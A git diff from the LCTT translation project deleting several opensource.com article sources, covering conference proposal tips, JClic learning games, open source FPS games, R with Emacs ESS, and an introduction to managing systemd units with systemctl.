idea for a panel session, please consider it carefully. In more than 10 years of hosting events we've seen some really good panel sessions, but we've seen far more that didn't go so well. Perhaps too many people were on the panel and not everyone had a chance to speak, perhaps a single panel member dominated the entire conversation, or perhaps the moderator didn't keep the dialogue and engagement flowing smoothly. Regardless of the issue, panels have the potential to go very wrong. - -That said, panels can still work and deliver a lot of value to attendees. If you do submit a panel session be sure to keep in mind the amount of time allotted for the session and confirm the number of panel members accordingly. Remember, less is always more when it comes to the panel format. Also, be sure the moderator understands the subject matter being discussed and doesn't mind enforcing format parameters and speaking time limits. Finally, let organizers know panel members and the moderator will engage in a pre-conference walk-through/preparation call before the event to ensure a smooth process in front of a live audience. Remember, organizers are well aware panels can be terrific but can also go in the opposite direction and very easily lead to a lot of negative feedback. - -### 13\. This is not an opportunity to sell  - -This is a sensitive topic, but one that absolutely must be mentioned. Over the years we've seen literally hundreds of talks "disqualified" by reviewers because they viewed the talk as a sales pitch. Few things evoke such a visceral response. Yes, there are events, tracks, and session slots where a sales pitch is appropriate (and maybe even required by the company paying your costs). However, make it a priority to know when and where this is appropriate and acceptable. And always, and we mean always, err on the side of making substance the focus of the talk rather than a sales angle.  - -It might sound like a cliche, but when a talk is delivered effectively with a focus on substance, people will **want** to buy what you're selling. And if you're not selling anything, they'll want to follow you on social media and generally engage with you—because you delivered value to them. Meaning: You gave them something they can apply themselves (education) or because your delivery style was entertaining and engaging. With rare exceptions, always focus any abstract on substance, and the rest will take care of itself.  - -### Go for it! - -We greatly admire and respect anyone who submits a talk for consideration—it takes a lot of time, thought, and courage. Therefore, we go to great lengths to thank everyone who goes through the process; we give free event passes to everyone who applies (regardless of approval or rejection), and we make every effort to host Q&A sessions to provide as much guidance as possible on the front end. Again, the more time and consideration speakers put into the submission process, the easier the lives of reviewers and organizers. We need to make all of this as easy as possible. - -While this is not a comprehensive list of best practices, it includes some of the things we think people can benefit from knowing before submitting a talk. There are a lot of people out there with more knowledge and experience, so please share your best tips for submitting conference proposals in the comments, so we can all learn from you. - -* * * - -_[All Things Open][2] is a universe of platforms and events focusing on open source, open tech, and the open web. It hosts the [All Things Open conference][3], the largest open source/tech/web event on the US East Coast. The conference regularly hosts thousands of attendees and many of the world's most influential companies from a wide variety of industries and sectors. In 2019, nearly 5,000 people attended from 41 US states and 24 countries. Please direct inquiries about ATO to the team at [info@allthingsopen.org][6]._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/tips-conference-proposals - -作者:[Todd Lewis][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/toddlewis -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ato2016_checkin_conference.jpg?itok=DJtoSS6t (All Things Open check-in at registration booth) -[2]: https://www.allthingsopen.org/ -[3]: https://2020.allthingsopen.org/ -[4]: https://2020.allthingsopen.org/call-for-speakers -[5]: https://www.allthingsopen.org/what-were-looking-for/ -[6]: mailto:info@allthingsopen.org diff --git a/sources/tech/20200504 Create interactive learning games for kids with open source.md b/sources/tech/20200504 Create interactive learning games for kids with open source.md deleted file mode 100644 index f6ade34857..0000000000 --- a/sources/tech/20200504 Create interactive learning games for kids with open source.md +++ /dev/null @@ -1,123 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create interactive learning games for kids with open source) -[#]: via: (https://opensource.com/article/20/5/jclic-games-kids) -[#]: author: (Peter Cheer https://opensource.com/users/petercheer) - -Create interactive learning games for kids with open source -====== -Help your students learn by creating fun puzzles and games in JClic, an -easy Java-based app. -![Family learning and reading together at night in a room][1] - -Schools are closed in many countries around the world to slow the spread of COVID-19. This has suddenly thrown many parents and teachers into homeschooling. Fortunately, there are plenty of educational resources on the internet to use or adapt, although their licenses vary. You can try searching for Creative Commons Open Educational Resources, but if you want to create your own materials, there are many options for that to. - -If you want to create digital educational activities with puzzles or tests, two easy-to-use, open source, cross-platform applications that fit the bill are eXeLearning and JClic. My earlier article on [eXeLearning][2] is a good introduction to that program, so here I'll look at [JClic][3]. It is an open source software project for creating various types of interactive activities such as associations, text-based activities, crosswords, and other puzzles with text, graphics, and multimedia elements. - -Although it's been around since the 1990s, JClic never developed a large user base in the English-speaking world. It was created in Catalonia by the [Catalan Educational Telematic Network][4] (XTEC). - -### About JClic - -JClic is a Java-based application that's available in many Linux repositories and can be downloaded from [GitHub][5]. It runs on Linux, macOS, and Windows, but because it is a Java program, you must have a Java runtime environment [installed][6]. - -The program's interface has not really changed much over the years, even while features have been added or dropped, such as introducing HTML5 export functionality to replace Java Applet technology for web-based deployment. It hasn't needed to change much, though, because it's very effective at what it does. - -### Creating a JClic project - -Many teachers from many countries have used JClic to create interactive materials for a wide variety of ability levels, subjects, languages, and curricula. Some of these materials have been collected in an [downloadable activities library][7]. Although few activities are in English, you can get a sense of the possibilities JClic offers. - -As JClic has a visual, point-and-click program interface, it is easy enough to learn that a new user can quickly concentrate on content creation. [Documentation][8] is available on GitHub. - -The screenshots below are from one of the JClic projects I created to teach basic Excel skills to learners in Papua New Guinea. - -A JClic project is created in its authoring tool and consists of the following four elements: - -#### 1\. Metadata about the project - -![JClic metadata][9] - -#### 2\. A library of the graphical and other resources it uses - -![JClic media][10] - -#### 3\. A series of one or more activities - -![JClic activities][11] - -JClic can produce seven different activity types: - - * Associations where the user discovers the relationships between two information sets - * Memory games where the user discovers pairs of identical elements or relations (which are hidden) between them - * Exploration activities involving the identification and information, based on a single Information set - * Puzzles where the user reconstructs information that is initially presented in a disordered form; the activity can include graphics, text, sound, or a combination of them - * Written-response activities that are solved by writing text, either a single word or a sentence - * Text activities that are based on words, phrases, letters, and paragraphs of text that need to be completed, understood, corrected, or ordered; these activities can contain images and windows with active content - * Word searches and crosswords - - - -Because of variants in the activities, there are 16 possible activity types. - -#### 4\. A timeline to sequence the activities - -![JClic timeline][12] - -### Using JClic content - -Projects can run in JClic's player (part of the Java application you used to create the project), or they can be exported to HTML5 so they can run in a web browser. - -The one thing I don't like about JClic is that its default HTML5 export function assumes you'll be online when running a project. If you want a project to work offline as needed, you must download a compiled and minified HTML5 player from [Github][13], and place it in the same folder as your JClic project. - -Next, open the **index.html** file in a text editor and replace this line: - - -``` -`` -``` - -With: - - -``` -`` -``` - -Now the HTML5 version of your project runs in a web browser, whether the user is online or not. - -JClic also provides a reports function that can store test scores in an ODBC-compliant database. I have not explored this feature, as my tests and puzzles are mostly used for self-assessment and to prompt reflection by the learner, rather than as part of a formal scheme, so the scores are not very important. If you would like to learn about it, there is [documentation][14] on running JClic Reports Server with Tomcat and MySQL (or [mariaDB][15]). - -### Conclusion - -JClic offers a wide range of activity types that provide plenty of room to be creative in designing content to fit your subject area and type of learner. JClic is a valuable addition for anyone who needs a quick and easy way to develop educational resources. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/jclic-games-kids - -作者:[Peter Cheer][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/petercheer -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/family_learning_kids_night_reading.png?itok=6K7sJVb1 (Family learning and reading together at night in a room) -[2]: https://opensource.com/article/18/5/exelearning -[3]: https://clic.xtec.cat/legacy/en/jclic/index.html -[4]: https://clic.xtec.cat/legacy/en/index.html -[5]: https://github.com/projectestac/jclic -[6]: https://adoptopenjdk.net/installation.html -[7]: https://clic.xtec.cat/repo/ -[8]: https://github.com/projectestac/jclic/wiki/JClic_Guide -[9]: https://opensource.com/sites/default/files/uploads/metadata.png (JClic metadata) -[10]: https://opensource.com/sites/default/files/uploads/media.png (JClic media) -[11]: https://opensource.com/sites/default/files/uploads/activities.png (JClic activities) -[12]: https://opensource.com/sites/default/files/uploads/sequence.png (JClic timeline) -[13]: http://projectestac.github.io/jclic.js/ -[14]: https://github.com/projectestac/jclic/wiki/Jclic-Reports-Server-with-Tomcat-and-MySQL-on-Ubuntu -[15]: https://mariadb.org/ diff --git a/sources/tech/20200505 8 open source video games to play.md b/sources/tech/20200505 8 open source video games to play.md deleted file mode 100644 index ac0577d96b..0000000000 --- a/sources/tech/20200505 8 open source video games to play.md +++ /dev/null @@ -1,116 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (8 open source video games to play) -[#]: via: (https://opensource.com/article/20/5/open-source-fps-games) -[#]: author: (Aman Gaur https://opensource.com/users/amangaur) - -8 open source video games to play -====== -These games are fun and free to play, a way to connect with friends, and -an opportunity to make an old favorite even better. -![Gaming on a grid with penguin pawns][1] - -Video games are a big business. That's great for the industry's longevity—not to mention for all the people working in programming and graphics. But it can take a lot of work, time, and money to keep up with all the latest gaming crazes. If you feel like playing a few quick rounds of a video game without investing in a new console or game franchise, then you'll be happy to know that there are plenty of open source combat games you can download, play, share, and even modify (if you're inclined to programming) for free. - -First-person shooters (FPS) are one of the most popular categories of video games. They are centered around the perspective of the protagonist (the player), and they often offer weapon-based advancement. As you get better at the game, you survive longer, you get better weapons, and you increase your power. FPS games have a distinct look and feel, which is reflected in the category's name: players see everything—their weapons and the game world—in first person, as if they're looking through their player character's eyes. - -If you want to give one a try, check out the following eight great open source FPS games. - -### Xonotic - -![Xonotic][2] - -[Xonotic][3] is a fast-paced, arena-based FPS game. It is a popular game in the open source world. One reason could be the fact that it has never been a mainstream game. It offers a variety of weapons and enemies that are thrown right at you mercilessly from the start. Demanding quick action and response, it is an experience that will keep you on the edge of your seats. The game is available under the GPLv3+ license. - -### Wolfenstein Enemy Territory - -![Wolfenstein Enemy Territory][4] - -Wolfenstein has been a major franchise in gaming for many years. If you are a fan of gore and glory, then you've probably already heard of this game (if not, you'll love it once you try it). [Wolfenstein Enemy Territory][5] is an early iteration of the popular World War II game. It became free to play in 2003, and its [source code][6] is provided under the GPLv3. To play, however, you must own the game data (or recreate it yourself) separately (which remains under its original EULA). - -### Doom - -![Doom][7] - -[Doom][8] is a wildly popular game that was also an early example of games on Linux—way back in 2004. There are many iterations of the game, many of which have been released as open source. The game is about acquiring a teleportation device that's been captured by demons, so the violence, while gory, is low on realism. The source code for the game was provided under the GPL, but many versions require that you own the game for the game assets. There are dozens of ports and adaptations, including [Freedoom][9] (with free assets), [Dhewm3][10], [RBDoom-3-BFG][11], and many more. Try a few and pick your favorite! - -### Smokin' Guns - -![Smokin' Guns][12] - -If you're a fan of the Old West and six-shooters, this FPS is for you. From cowboys to gunslingers and with a captivating background score, [Smokin' Guns][13] has it all. It's a semi-realistic simulation of the old spaghetti western. On your way through the game, you face multiple enemies and get multiple weapons, so there's always the promise of excitement and danger around the corner. The game is free and open source under the terms of the GPLv2. - -### Nexuiz - -![Nexuiz][14] - -[Nexuiz][15] (classic) is another great FPS that's free to play on multiple platforms. The game is based on the Quake engine and has been made open source under the GNU GPLv2. The game offers multiple modes, including online, LAN party, and bot training. The game features sophisticated weapons and fast action. It's brutal and exciting, with an objective: kill as many opponents as possible before they get you. - -Note that the open source version of Nexuiz is not the same as the version built on CryEngine3 that is sold on Steam. - -### .kkrieger - -![kkrieger][16] - -[.Kkrieger][17] was developed in 2004 by .theprodukkt, a German demogroup. The game was developed using an unreleased (at the time) engine known as Werkkzeug. This game might feel a little slow to many, but it still offers an intense experience. The approaching enemies are slow, but their sheer number makes it confusing to know which one to take down first. It's an onslaught, and you have to shoot through layers of enemies before you reach the final boss. It was released in a rather raw form on [GitHub][18] by its creators under a BSD license with some public domain components. - -### Warsow - -![Warsow][19] - -If you've ever played Borderlands 2, then imagine [Warsow][20] as an arena-style Borderlands. The game is built on a modernized Quake II engine, and its plot takes a simple approach: Kill as many opponents as possible. The team with the most number of kills wins. Despite its simplicity, it features amazing weaponry and lots of great trick moves, like circle jumping, bunny hopping, double jumping, ramp sliding, and so on. It makes for an engaging multiplayer session, and it's been recognized by multiple online leagues as a worthy game for their competitions. Get the source code from [GitHub][21] or install the game from your software repository. - -### World of Padman - -![World of Padman][22] - -[The World of Padman][23] may be the last game on this list, but it's one of the most unique. Designed by PadWorld Entertainment, World of Padman takes a different twist graphically and introduces you to quirky and whimsical characters in a colorful (albeit cartoonishly violent) world. It's based on the ioquake3 engine, and its unique style and uproarious gameplay have earned it a featured place in multiple gaming magazines. You can download the source code from [GitHub][24]. - -### Give one a shot - -A game that becomes open source can act as a template for something great, whether it's a wholly open source version of an old classic, a remix of a beloved game, or an entirely new platform built on an old reliable engine. - -Open source gaming is important for many reasons: it provides users with a fun diversion, a way to connect with friends, and an opportunity for programmers and designers to hack within an existing framework. If titles like Doom weren't made open source, a little bit of video game history would be lost. Instead, it endures and has the opportunity to grow even more. - -Try an open source game, and watch your six. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/open-source-fps-games - -作者:[Aman Gaur][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/amangaur -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/game_pawn_grid_linux.png?itok=4gERzRkg (Gaming on a grid with penguin pawns) -[2]: https://opensource.com/sites/default/files/uploads/xonotic.jpg (Xonotic) -[3]: https://www.xonotic.org/download/ -[4]: https://opensource.com/sites/default/files/uploads/wolfensteinenemyterritory.jpg (Wolfenstein Enemy Territory) -[5]: https://www.splashdamage.com/games/wolfenstein-enemy-territory/ -[6]: https://github.com/id-Software/Enemy-Territory -[7]: https://opensource.com/sites/default/files/uploads/doom.jpg (Doom) -[8]: https://github.com/id-Software/DOOM -[9]: https://freedoom.github.io/ -[10]: https://dhewm3.org/ -[11]: https://github.com/RobertBeckebans/RBDOOM-3-BFG/ -[12]: https://opensource.com/sites/default/files/uploads/smokinguns.jpg (Smokin' Guns) -[13]: https://www.smokin-guns.org/downloads -[14]: https://opensource.com/sites/default/files/uploads/nexuiz.jpg (Nexuiz) -[15]: https://sourceforge.net/projects/nexuiz/ -[16]: https://opensource.com/sites/default/files/uploads/kkrieger.jpg (kkrieger) -[17]: https://web.archive.org/web/20120204065621/http://www.theprodukkt.com/kkrieger -[18]: https://github.com/farbrausch/fr_public -[19]: https://opensource.com/sites/default/files/uploads/warsow.jpg (Warsow) -[20]: https://www.warsow.net/download -[21]: https://github.com/Warsow -[22]: https://opensource.com/sites/default/files/uploads/padman.jpg (World of Padman) -[23]: https://worldofpadman.net/en/ -[24]: https://github.com/PadWorld-Entertainment diff --git a/sources/tech/20200505 Analyzing data science code with R and Emacs.md b/sources/tech/20200505 Analyzing data science code with R and Emacs.md deleted file mode 100644 index ebcfadbe92..0000000000 --- a/sources/tech/20200505 Analyzing data science code with R and Emacs.md +++ /dev/null @@ -1,133 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Analyzing data science code with R and Emacs) -[#]: via: (https://opensource.com/article/20/5/r-emacs-data-science) -[#]: author: (Peter Prevos https://opensource.com/users/danderzei) - -Analyzing data science code with R and Emacs -====== -Emacs' versatility and extensibility bring the editor's full power into -play for writing data science code. -![metrics and data shown on a computer screen][1] - -Way back in 2012, _Harvard Business Review_ published an article that proclaimed "data scientist" to be the [sexiest job][2] of the 21st century. Interest in data science has exploded since then. Many great open source projects, such as [Python][3] and the [R language][4] for statistical computing, have facilitated the rapid developments in how we analyze data. - -I started my career using pencil and paper and moved to spreadsheets. Now the R language is my weapon of choice when I need to create value from data. Emacs is another one of my favorite tools. This article briefly explains how to use the [Emacs Speaks Statistics][5] (ESS) package to get started with developing R projects in this venerable editor. - -The vast majority of R developers use the [RStudio][6] IDE to manage their projects. RStudio is a powerful open source editor with specialized functionality to develop data science projects. RStudio is a great integrated development environment (IDE), but its editing functions are limited. - -Using Emacs to write data science code means that you have access to the full power of this extensible editor. I prefer using Emacs for my data science projects because I can do many other tasks within the same application, leveraging the multifunctionality of this venerable editor. If you are just getting started with Emacs, then please first read Seth Kenlon's [Emacs getting started][7] article. - -### Setting up Emacs for R - -Emacs is an almost infinitely extensible text editor, which unfortunately means that many things don't work the way you want them to out of the box. Before you can write and execute R scripts, you need to install some packages and configure them. The ESS package provides an interface between Emacs and R. Other packages, such as [Company][8] and [highlight-parentheses][9] help with completion and balancing parentheses. - -Emacs uses a version of Lisp for configuration. The lines of [Emacs Lisp][10] code below install the required extensions and define a minimal configuration to get you started. These lines were tested for GNU Emacs version 26.3. - -Copy these lines and save them in a file named **init.el** in your **.emacs.d** folder. This is the folder that Emacs uses to store configurations, including the [init file][11]. If you already have an init file, then you can append these lines to your config. This minimal configuration is enough to get you started. - - -``` -;; Elisp file for R coding with Emacs - -;; Add MELPA repository and initialise the package manager -(require 'package) -(add-to-list 'package-archives -             '("melpa" . "")) -(package-initialize) - -;; Install use-package,in case it does not exist yet -;; The use-package software will install all other packages as required -(unless (package-installed-p 'use-package) -  (package-refresh-contents) -  (package-install 'use-package)) - -;; ESS configurationEmacs Speaks Statistics -(use-package ess -  :ensure t -) - -;; Auto completion -(use-package company -  :ensure t -  :config -  (setq company-idle-delay 0) -  (setq company-minimum-prefix-length 2) -  (global-company-mode t) -) - -; Parentheses -(use-package highlight-parentheses -  :ensure t -  :config -  (progn -    (highlight-parentheses-mode) -    (global-highlight-parentheses-mode)) -  ) -``` - -### Using the R console - -To start an R console session, press **M-x R** and hit **Enter** (**M** is the Emacs way to denote the **Alt** or **Command** key). ESS will ask you to nominate a working directory, which defaults to the folder of the current buffer. You can use more than one console in the same Emacs session by repeating the R command. - -Emacs opens a new buffer for your new R console. You can also use the **Up** and **Down** arrow keys to go to previous lines and re-run them. Use the **Ctrl** and **Up/Down** arrow keys to recycle old commands. - -The Company ("complete anything") package manages autocompletion in both the console and R scripts. When entering a function, the mini-buffer at the bottom of the screen shows the relevant parameters. When the autocompletion dropdown menu appears, you can press **F1** to view the chosen option's Help file before you select it. - -The [highlight-parentheses][9] package does what its name suggests. Several other Emacs packages are available to help you balance parentheses and other structural elements in your code. - -### Writing R scripts - -Emacs recognizes R mode for any buffer with a **.R** extension (the file extension is case-sensitive). Open or create a new file with the **C-x C-f** shortcut and type the path and file name. You can start writing your code and use all of the powerful editing techniques that Emacs provides. - -Several functions are available to evaluate the code. You can evaluate each line separately with **C-<return>**, while **C-c C-c** will evaluate a contiguous region. Keying **C-c C-b** will evaluate the whole buffer. - -When you evaluate some code, Emacs will use any running console or ask you to open a new console to run the code. - -The output of any plotting functions appears in a window outside of Emacs. If you prefer to view the output within Emacs, then you need to save the output to disk and open the resulting file in a separate buffer. - -![Literate programming in Org mode, the ESS buffer, and graphics output.][12] - -Literate programming in Org mode, the ESS buffer, and graphics output. - -### Advanced use - -This article provides a brief introduction to using R in Emacs. Many parameters can be fine-tuned to make Emacs behave according to your preferences, but it would take too much space to cover them here. The [ESS manual][13] describes these in detail. You can also extend functionality with additional packages. - -Org mode can integrate R code, providing a productive platform for literate programming. If you prefer to use RMarkdown, the [Polymode][14] package has you covered. - -Emacs has various packages to make your editing experience more efficient. The best part of using Emacs to write R code is that the program is more than just an IDE; it is a malleable computer system that you can configure to match your favorite workflow. - -Learning how to configure Emacs can be daunting. The best way to learn quickly is to copy ideas from people who share their configurations. Miles McBain manages a [list of Emacs configurations][15] that could be useful if you want to explore using the R language in Emacs further. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/r-emacs-data-science - -作者:[Peter Prevos][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/danderzei -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/metrics_data_dashboard_system_computer_analytics.png?itok=oxAeIEI- (metrics and data shown on a computer screen) -[2]: https://hbr.org/2012/10/data-scientist-the-sexiest-job-of-the-21st-century -[3]: https://www.python.org/ -[4]: https://www.r-project.org/ -[5]: https://ess.r-project.org/ -[6]: https://opensource.com/article/18/2/getting-started-RStudio-IDE -[7]: https://opensource.com/article/20/3/getting-started-emacs -[8]: https://company-mode.github.io/ -[9]: https://github.com/tsdh/highlight-parentheses.el -[10]: https://en.wikipedia.org/wiki/Emacs_Lisp -[11]: https://www.gnu.org/software/emacs/manual/html_node/emacs/Init-File.html -[12]: https://opensource.com/sites/default/files/uploads/r-ess-screenshot.jpg (Literate programming in Org mode, the ESS buffer, and graphics output.) -[13]: https://ess.r-project.org/index.php?Section=documentation&subSection=manuals -[14]: https://github.com/polymode/polymode -[15]: https://github.com/MilesMcBain/esscss diff --git a/sources/tech/20200507 Using the systemctl command to manage systemd units.md b/sources/tech/20200507 Using the systemctl command to manage systemd units.md deleted file mode 100644 index e305cee36c..0000000000 --- a/sources/tech/20200507 Using the systemctl command to manage systemd units.md +++ /dev/null @@ -1,618 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Using the systemctl command to manage systemd units) -[#]: via: (https://opensource.com/article/20/5/systemd-units) -[#]: author: (David Both https://opensource.com/users/dboth) - -Using the systemctl command to manage systemd units -====== -Units are the basis of everything in systemd. -![woman on laptop sitting at the window][1] - -In the first two articles in this series, I explored the Linux systemd startup sequence. In the [first article][2], I looked at systemd's functions and architecture and the controversy around its role as a replacement for the old SystemV init program and startup scripts. And in the [second article][3], I examined two important systemd tools, systemctl and journalctl, and explained how to switch from one target to another and to change the default target. - -In this third article, I'll look at systemd units in more detail and how to use the systemctl command to explore and manage units. I'll also explain how to stop and disable units and how to create a new systemd mount unit to mount a new filesystem and enable it to initiate during startup. - -### Preparation - -All of the experiments in this article should be done as the root user (unless otherwise specified). Some of the commands that simply list various systemd units can be performed by non-root users, but the commands that make changes cannot. Make sure to do all of these experiments only on non-production hosts or virtual machines (VMs). - -One of these experiments requires the sysstat package, so install it before you move on. For Fedora and other Red Hat-based distributions you can install sysstat with: - - -``` -`dnf -y install sysstat` -``` - -The sysstat RPM installs several statistical tools that can be used for problem determination. One is [System Activity Report][4] (SAR), which records many system performance data points at regular intervals (every 10 minutes by default). Rather than run as a daemon in the background, the sysstat package installs two systemd timers. One timer runs every 10 minutes to collect data, and the other runs once a day to aggregate the daily data. In this article, I will look briefly at these timers but wait to explain how to create a timer in a future article. - -### systemd suite - -The fact is, systemd is more than just one program. It is a large suite of programs all designed to work together to manage nearly every aspect of a running Linux system. A full exposition of systemd would take a book on its own. Most of us do not need to understand all of the details about how all of systemd's components fit together, so I will focus on the programs and components that enable you to manage various Linux services and deal with log files and journals. - -### Practical structure - -The structure of systemd—outside of its executable files—is contained in its many configuration files. Although these files have different names and identifier extensions, they are all called "unit" files. Units are the basis of everything systemd. - -Unit files are ASCII plain-text files that are accessible to and can be created or modified by a sysadmin. There are a number of unit file types, and each has its own man page. Figure 1 lists some of these unit file types by their filename extensions and a short description of each. - -systemd unit | Description ----|--- -.automount | The **.automount** units are used to implement on-demand (i.e., plug and play) and mounting of filesystem units in parallel during startup. -.device | The **.device** unit files define hardware and virtual devices that are exposed to the sysadmin in the **/dev/directory**. Not all devices have unit files; typically, block devices such as hard drives, network devices, and some others have unit files. -.mount | The **.mount** unit defines a mount point on the Linux filesystem directory structure. -.scope | The **.scope** unit defines and manages a set of system processes. This unit is not configured using unit files, rather it is created programmatically. Per the **systemd.scope** man page, “The main purpose of scope units is grouping worker processes of a system service for organization and for managing resources.” -.service | The **.service** unit files define processes that are managed by systemd. These include services such as crond cups (Common Unix Printing System), iptables, multiple logical volume management (LVM) services, NetworkManager, and more. -.slice | The **.slice** unit defines a “slice,” which is a conceptual division of system resources that are related to a group of processes. You can think of all system resources as a pie and this subset of resources as a “slice” out of that pie. -.socket | The **.socket** units define interprocess communication sockets, such as network sockets. -.swap | The **.swap** units define swap devices or files. -.target | The **.target** units define groups of unit files that define startup synchronization points, runlevels, and services. Target units define the services and other units that must be active in order to start successfully. -.timer | The **.timer** unit defines timers that can initiate program execution at specified times. - -### systemctl - -I looked at systemd's startup functions in the [second article][3], and here I'll explore its service management functions a bit further. systemd provides the **systemctl** command that is used to start and stop services, configure them to launch (or not) at system startup, and monitor the current status of running services. - -In a terminal session as the root user, ensure that root's home directory ( **~** ) is the [PWD][5]. To begin looking at units in various ways, list all of the loaded and active systemd units. systemctl automatically pipes its [stdout][6] data stream through the **less** pager, so you don't have to: - - -``` -[root@testvm1 ~]# systemctl -UNIT                                       LOAD   ACTIVE SUB       DESCRIPTION               -proc-sys-fs-binfmt_misc.automount          loaded active running   Arbitrary Executable File> -sys-devices-pci0000:00-0000:00:01.1-ata7-host6-target6:0:0-6:0:0:0-block-sr0.device loaded a> -sys-devices-pci0000:00-0000:00:03.0-net-enp0s3.device loaded active plugged   82540EM Gigabi> -sys-devices-pci0000:00-0000:00:05.0-sound-card0.device loaded active plugged   82801AA AC'97> -sys-devices-pci0000:00-0000:00:08.0-net-enp0s8.device loaded active plugged   82540EM Gigabi> -sys-devices-pci0000:00-0000:00:0d.0-ata1-host0-target0:0:0-0:0:0:0-block-sda-sda1.device loa> -sys-devices-pci0000:00-0000:00:0d.0-ata1-host0-target0:0:0-0:0:0:0-block-sda-sda2.device loa> -<snip – removed lots of lines of data from here> - -LOAD   = Reflects whether the unit definition was properly loaded. -ACTIVE = The high-level unit activation state, i.e. generalization of SUB. -SUB    = The low-level unit activation state, values depend on unit type. - -206 loaded units listed. Pass --all to see loaded but inactive units, too. -To show all installed unit files use 'systemctl list-unit-files'. -``` - -As you scroll through the data in your terminal session, look for some specific things. The first section lists devices such as hard drives, sound cards, network interface cards, and TTY devices. Another section shows the filesystem mount points. Other sections include various services and a list of all loaded and active targets. - -The sysstat timers at the bottom of the output are used to collect and generate daily system activity summaries for SAR. SAR is a very useful problem-solving tool. (You can learn more about it in Chapter 13 of my book [_Using and Administering Linux: Volume 1, Zero to SysAdmin: Getting Started_][7].) - -Near the very bottom, three lines describe the meanings of the statuses (loaded, active, and sub). Press **q** to exit the pager. - -Use the following command (as suggested in the last line of the output above) to see all the units that are installed, whether or not they are loaded. I won't reproduce the output here, because you can scroll through it on your own. The systemctl program has an excellent tab-completion facility that makes it easy to enter complex commands without needing to memorize all the options: - - -``` -`[root@testvm1 ~]# systemctl list-unit-files` -``` - -You can see that some units are disabled. Table 1 in the man page for systemctl lists and provides short descriptions of the entries you might see in this listing. Use the **-t** (type) option to view just the timer units: - - -``` -[root@testvm1 ~]# systemctl list-unit-files -t timer -UNIT FILE                    STATE   -[chrony-dnssrv@.timer][8]         disabled -dnf-makecache.timer          enabled -fstrim.timer                 disabled -logrotate.timer              disabled -logwatch.timer               disabled -[mdadm-last-resort@.timer][9]     static   -mlocate-updatedb.timer       enabled -sysstat-collect.timer        enabled -sysstat-summary.timer        enabled -systemd-tmpfiles-clean.timer static   -unbound-anchor.timer         enabled -``` - -You could do the same thing with this alternative, which provides considerably more detail: - - -``` -[root@testvm1 ~]# systemctl list-timers -Thu 2020-04-16 09:06:20 EDT  3min 59s left n/a                          n/a           systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service -Thu 2020-04-16 10:02:01 EDT  59min left    Thu 2020-04-16 09:01:32 EDT  49s ago       dnf-makecache.timer          dnf-makecache.service -Thu 2020-04-16 13:00:00 EDT  3h 57min left n/a                          n/a           sysstat-collect.timer        sysstat-collect.service -Fri 2020-04-17 00:00:00 EDT  14h left      Thu 2020-04-16 12:51:37 EDT  3h 49min left mlocate-updatedb.timer       mlocate-updatedb.service -Fri 2020-04-17 00:00:00 EDT  14h left      Thu 2020-04-16 12:51:37 EDT  3h 49min left unbound-anchor.timer         unbound-anchor.service -Fri 2020-04-17 00:07:00 EDT  15h left      n/a                          n/a           sysstat-summary.timer        sysstat-summary.service - -6 timers listed. -Pass --all to see loaded but inactive timers, too. -[root@testvm1 ~]# -``` - -Although there is no option to do systemctl list-mounts, you can list the mount point unit files: - - -``` -[root@testvm1 ~]# systemctl list-unit-files -t mount -UNIT FILE                     STATE     --.mount                       generated -boot.mount                    generated -dev-hugepages.mount           static   -dev-mqueue.mount              static   -home.mount                    generated -proc-fs-nfsd.mount            static   -proc-sys-fs-binfmt_misc.mount disabled -run-vmblock\x2dfuse.mount     disabled -sys-fs-fuse-connections.mount static   -sys-kernel-config.mount       static   -sys-kernel-debug.mount        static   -tmp.mount                     generated -usr.mount                     generated -var-lib-nfs-rpc_pipefs.mount  static   -var.mount                     generated - -15 unit files listed. -[root@testvm1 ~]# -``` - -The STATE column in this data stream is interesting and requires a bit of explanation. The "generated" states indicate that the mount unit was generated on the fly during startup using the information in **/etc/fstab**. The program that generates these mount units is **/lib/systemd/system-generators/systemd-fstab-generator,** along with other tools that generate a number of other unit types. The "static" mount units are for filesystems like **/proc** and **/sys**, and the files for these are located in the **/usr/lib/systemd/system** directory. - -Now, look at the service units. This command will show all services installed on the host, whether or not they are active: - - -``` -`[root@testvm1 ~]# systemctl --all -t service` -``` - 